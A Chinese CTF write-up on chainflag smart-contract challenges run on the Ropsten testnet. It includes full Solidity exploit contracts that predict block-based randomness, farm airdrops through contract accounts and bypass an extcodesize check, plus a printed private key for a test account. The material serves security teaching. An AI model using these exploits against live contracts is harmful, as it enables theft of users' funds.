区块链安全题目分析 之 chainflag(一)

admin 2022年8月28日21:30:13评论145 views字数 19216阅读64分3秒阅读模式


区块链安全题目分析 之 chainflag(一)
check - in
iczc师傅搭的一个出题环境,首先需要生成一个账户(没特殊声明都是在ropsten测试链上),然后你需要往这个账户转一点测试币以用于题目合约的部署,触发指定事件或者改变某个变量的状态后再nc靶机,他会检查题目合约是否触发了相应的事件(会让你再次输入触发事件的交易hash,服务端会去检查log)或者题目中相应变量的状态是否被更改,如果通过check则会发送flag。
创建部署题目的合约账户:
vanish@ubuntu:~$ nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x9f092653793cBd0c696630DFE582853Ced410bd8
[+] token: v4.local.1OHGXufG9C20XCMt2nGR63pC9obpTR9XD5wgOQFfWli9fpDtE1ZF6IdOqDxGdjF4e7kGEiS0mSZHdn1PFA1h88Wa_Kudo25-6_iUBV73mC9cFJ28YjWYkmk-wWlr0tL0OU4D-8p_mUVfRulafzcjqZLJQEvwnR1ihKkGoJcZdO_XBg
[+] please transfer 0.00286 test ether to the deployer account for next step
转账后部署合约:
[root@VM-0-7-centos ~]# nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.1OHGXufG9C20XCMt2nGR63pC9obpTR9XD5wgOQFfWli9fpDtE1ZF6IdOqDxGdjF4e7kGEiS0mSZHdn1PFA1h88Wa_Kudo25-6_iUBV73mC9cFJ28YjWYkmk-wWlr0tL0OU4D-8p_mUVfRulafzcjqZLJQEvwnR1ihKkGoJcZdO_XBg
[+] contract address: 0x6866A2E1637a506DE75F2bB079872D5243A91312
[+] transaction hash: 0xd8671eb17ddd01265db344891636435f1d1c8c44e9bbbd684adad09c60371e1e

看一下题目合约。
vanish@ubuntu:~$ nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 4

Example.sol
pragma solidity 0.8.7;

contract Greeter {
    string greeting;

    constructor(string memory _greeting) public {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory expected = "HelloChainFlag";
        return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
    }
}
只需要调用setGreeting改一下greeting的值就好了。
这里我们使用 remix 在线编译器,
编译后,执行环境我们选择Injected Provider-Metamask

区块链安全题目分析 之 chainflag(一)

Metamask里面的网络选择Ropseten
然后直接指定题目部署的地址。

区块链安全题目分析 之 chainflag(一)

然后调用setGreeting,参数输出字符串 ”HelloChainFlag”

区块链安全题目分析 之 chainflag(一)

这时Metamask会弹出交易的确认请求,我们确认即可。

区块链安全题目分析 之 chainflag(一)

等待交易打包,确认上链,交易内容成功执行,我们即完成了题目。

区块链安全题目分析 之 chainflag(一)

我们可以调用isSolved函数再次确认。

区块链安全题目分析 之 chainflag(一)

这个函数的调用不改变状态,只是查看状态,所以不需要花费gas,所以也不需要确认交易。
随后我们再次 nc 靶机,调用功能 3,输入token,靶机会检查这个题目合约的isSolved状态,如果返回true,则会输出flag。

bad randomness


         在
区块链中,区块的任何东西都是可知的,从而依赖区块信息生成的随机数我们也是可以预测。

区块链安全题目分析 之 chainflag(一)
eos game
/**
 *Submitted for verification at Etherscan.io on 2018-11-26
*/

pragma solidity ^0.4.24;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }

  /**
  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  * reverts when dividing by zero.
  */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

contract EOSToken{
    using SafeMath for uint256;
    string TokenName = "EOS";
    
    uint256 totalSupply = 100**18;
    address owner;
    mapping(address => uint256)  balances;
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    constructor() public{
        owner = msg.sender;
        balances[owner] = totalSupply;
    }
    
    function mint(address _to,uint256 _amount) public onlyOwner {
        require(_amount < totalSupply);
        totalSupply = totalSupply.sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    
    function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
        require(_amount < balances[_from]);
        balances[_from] = balances[_from].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    
    function eosOf(address _who) public constant returns(uint256){
        return balances[_who];
    }
}


contract EOSGame{
    
    using SafeMath for uint256;
    mapping(address => uint256) public bet_count;
    uint256 FUND = 100;
    uint256 MOD_NUM = 20;
    uint256 POWER = 100;
    uint256 SMALL_CHIP = 1;
    uint256 BIG_CHIP = 20;
    EOSToken  eos;
    
    event FLAG(string b64email, string slogan);
    
    constructor() public{
        eos=new EOSToken();
    }
    
    function initFund() public{
        if(bet_count[tx.origin] == 0){
            bet_count[tx.origin] = 1;
            eos.mint(tx.origin, FUND);
        }
    }
    
    function bet(uint256 chip) internal {
        bet_count[tx.origin] = bet_count[tx.origin].add(1);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % MOD_NUM;
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.transfer(address(this), tx.origin, chip.mul(POWER));
        }
    }
    
    function smallBlind() public {
        eos.transfer(tx.origin, address(this), SMALL_CHIP);
        bet(SMALL_CHIP);
    }
    
    function bigBlind() public {
        eos.transfer(tx.origin, address(this), BIG_CHIP);
        bet(BIG_CHIP);
    }
    
    function eosBlanceOf() public view returns(uint256) {
        return eos.eosOf(tx.origin);
    }

    function CaptureTheFlag(string b64email) public{
  require (eos.eosOf(tx.origin) > 18888);
  emit FLAG(b64email, "Congratulations to capture the flag!");
 }
}


我们主要看到bet函数。
    function bet(uint256 chip) internal {
        bet_count[tx.origin] = bet_count[tx.origin].add(1);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % MOD_NUM;
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.transfer(address(this), tx.origin, chip.mul(POWER));
        }
    }
一个运气游戏,shark和luck的值都在20以内,shark和区块的信息相关,luck和账户的bet_count相关,每bet一次,bet_count+1,所以平均在一个区块猜20次,由于shark值不变,luck根据bet_count改变,那么期望是能够中一次。bet的比例都是1:100,有两种模式,bigBlind是20一次,smallBlind是1一次,初始给100个,获取flag需要有大于18888。
那么这里由于shark的值和luck的值也是可以预测的,所以我们是可以选择必胜的时候去进行bigBlind,一次能盈利1980,对十次就好了。但是在之前做题的时候交易的打包很有问题,贼拉慢,于是我选择一个区块内bet二十次,如果能赢,就bigBlind,如果不行,就smallBlind,然后bet_count就会增加,就能换一个luck,继续bet。当然,也可以一次性多bet几次,来个100次?消耗的gas应该也不会超。
contract pwn{
    uint256 FUND = 100;
    uint256 MOD_NUM = 20;
    uint256 POWER = 100;
    uint256 SMALL_CHIP = 1;
    uint256 BIG_CHIP = 20;
    mapping(address => uint256) public bet_count;
    uint flag;
    EOSGame eos = EOSGame(0x804d8b0f43c57b5ba940c1d1132d03f1da83631f);
    function init(){
      eos.initFund();
      bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B]+=1;
    }
    function hack(){
      uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
      uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
      uint256 shark = seed_hash % MOD_NUM;

      for(int i = 0;i<20;i++){
        flag =  eos.eosBlanceOf();
        if(flag > 18888) {
          break;
        }
        bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B]+=1; // 同步一下bet_count
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.bigBlind();
        }else{
          eos.smallBlind();
        }
      }

  }
}


airdrop hunting


下面是几道薅羊毛相关的题目。薅羊毛的一个主要思想就是,每个新用户都可以获取一点东西,然后我们可以创建很多新用户去领,然后都转移到主账户里。(拼多多里创建新用户需要一个新的手机号,比较麻烦。但是在以太坊,创建一个新用户可不要太容易。

区块链安全题目分析 之 chainflag(一)
coinflip

pragma solidity ^0.4.24;

contract P_Bank
{
    mapping (address => uint) public balances;
    
    uint public MinDeposit = 0.1 ether;
    
    Log TransferLog;

    event FLAG(string b64email, string slogan);
    


    constructor(address _log) public { 
        TransferLog = Log(_log);
     }

    function Ap() public {
        if(balances[msg.sender] == 0) {
            balances[msg.sender]+=1 ether;
        }
    }

    function Transfer(address to, uint val) public {
        if(val > balances[msg.sender]) {
            revert();
        }
        balances[to]+=val;
        balances[msg.sender]-=val;
    }

    function CaptureTheFlag(string b64email) public returns(bool){
      require (balances[msg.sender] > 500 ether);
      emit FLAG(b64email, "Congratulations to capture the flag!");
    }

    
    function Deposit()
    public
    payable
    {
        if(msg.value > MinDeposit)
        {
            balances[msg.sender]+= msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }
    
    function CashOut(uint _am) public 
    {
        if(_am<=balances[msg.sender])
        {
            
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }
    
    function() public payable{}    
    
}

contract Log 
{
   
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    string err = "CashOut";
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
可以看到,ap函数会给账户里没有以太的用户空投一个以太,然后题目完成的条件时账户需要拥有500个以上以太。
那么我们直接用自己的账户部署一个合约账户,合约账户不停的:领空投,转给我们自己,领空投,转给我们自己。
contract hack {
    address instance_address = 0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8;
    P_Bank target = P_Bank(instance_address);
    
    function getflag(string b64email) public {
        target.CaptureTheFlag(b64email);
    }

    function geteth(){
        for(uint i=0;i<501;i++){
            target.Ap();
            target.Transfer(0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B,1 ether);
        }
    }
    
    
}
实际部署的时候需要考虑gas的开销,500次的循环好像会超800w(一个区块的上限),我们可以调整成100次,然后调用5次这样。

区块链安全题目分析 之 chainflag(一)
fake3d
/**
 *Submitted for verification at Etherscan.io on 2018-11-27
*/

pragma solidity ^0.4.24;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }

  /**
  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  * reverts when dividing by zero.
  */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

contract WinnerList{
    address owner;
    struct Richman{
        address who;
        uint balance;
    }
    
    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }
    
}

contract Fake3D {
    using SafeMath for *;
 mapping(address => uint256)  public balance;
 uint public totalSupply  = 10**18;
 WinnerList wlist;
 
 event FLAG(string b64email, string slogan);
 
 constructor(address _addr) public{
     wlist = WinnerList(_addr);
 }

 modifier turingTest() {
         address _addr = msg.sender;
         uint256 _codeLength;
         assembly {_codeLength := extcodesize(_addr)}
         require(_codeLength == 0, "sorry humans only");
         _;
 }
    
    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }


 function airDrop() public turingTest returns (bool) {
  uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
   totalSupply = totalSupply.sub(10);
   return true;
  }
        else
   return false;
 }
 
   function CaptureTheFlag(string b64email) public{
  require (balance[msg.sender] > 8888);
  wlist.note(msg.sender,balance[msg.sender]);
  emit FLAG(b64email, "Congratulations to capture the flag?");
 }

}

大致思路差不太多,不过这里的空投是可以无限调用的,只要满足 (seed - ((seed / 1000) * 1000)) < 288 的条件就行。那这个没什么办法,里面用到了区块的信息,我们没法保证自己的交易会在哪一个区块确认,所以就摁撞就好了。不过,这题给的源码有问题!WinnerList有隐藏机制(怪不得叫fake)
去创建题目合约的交易那儿找到部署合约时用的WinnerList 的地址。

区块链安全题目分析 之 chainflag(一)


区块链安全题目分析 之 chainflag(一)


去反编译下该地址的合约。
contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
    
        if (var0 != 0x03b6eb88) { revert(memory[0x00:0x00]); }
    
        var var1 = msg.value;
    
        if (var1) { revert(memory[0x00:0x00]); }
    
        var1 = 0x0091;
        var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
        var var3 = msg.data[0x24:0x44];
        func_0093(var2, var3);
        stop();
    }
    
    function func_0093(var arg0, var arg1) {
        var var0 = 0x00;
        storage[var0] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[var0] & ~0xffffffffffffffffffffffffffffffffffffffff);
        storage[var0 + 0x01] = arg1;
        var var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0xb1;
        var var2 = tx.origin * 0x01000000000000000000000000;
        var var3 = 0x12;
    
        if (var3 >= 0x14) { assert(); }
    
        var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
        var1 = temp0;
    
        if (!var1) {
        label_023F:
        
            if (!var1) { return; }
            else { revert(memory[0x00:0x00]); }
        } else {
            var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0x43;
            var2 = tx.origin * 0x01000000000000000000000000;
            var3 = 0x13;
        
            if (var3 >= 0x14) { assert(); }
        
            var1 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
            goto label_023F;
        }
    }
}
虽然不是能完全的看得懂,但从 if (!var1) { return; }猜测一下是需要var1 = 0,var1 的值有两个地方

var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;

或者下面的

var1 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;

看着很恐怖,但是var1之前的值也是类似的形式,所以简化一下即需要

var2 = tx.origin; var3 = 0x12; byte(var2, var3) = 0xb1 ;

或者

var2 = tx.origin; var3 = 0x13; byte(var2, var3) = 0x43;

查一下汇编文档,byte(n, x):x 的第 n 个字节,这个索引是从 0 开始的,所以也就是
账户的第18个字节(从0计数),也就是倒数第二个字节需要是 0xb1
或者
账户的第19个字节(从0计数),也就是最后一个字节需要是 0x43
这里先用攻击合约搞到足够的balance,然后用https://vanity-eth.tk/生成一个最后一个字节是0x43的账户,把balance全给他转进去,然后用这个账户拿flag。
地址:0x8fE935c6496CAFF3CDD3dDACA972BE6f882b9443
私钥:f482b4a125f2650b5bb17d61aded30e0ca8d41fd2d74c01cfaa556220a1a6762
contract pwn {
    using SafeMath for *;
    Fake3D mime = Fake3D(0x4082cc8839242ff5ee9c67f6d05c4e497f63361a);
    constructor() public payable {
        
        for (uint16 i = 0; i < 900; i++) {
            uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
            )));
            if((seed - ((seed / 1000) * 1000)) < 288){
                mime.airDrop();
            }else{
                revert();
            }
        }
    }

    function transfer() public{
        mime.transfer(0x8fE935c6496CAFF3CDD3dDACA972BE6f882b9443,9000);
    }
     
}

区块链安全题目分析 之 chainflag(一)
babybet

这道题目需要反编译,那么欲知后事如何,且听下(也可能是下下下)回分解……
      

原文始发于微信公众号(山石网科安全技术研究院):区块链安全题目分析 之 chainflag(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日21:30:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链安全题目分析 之 chainflag(一)http://cn-sec.com/archives/1256420.html

发表评论

匿名网友 填写信息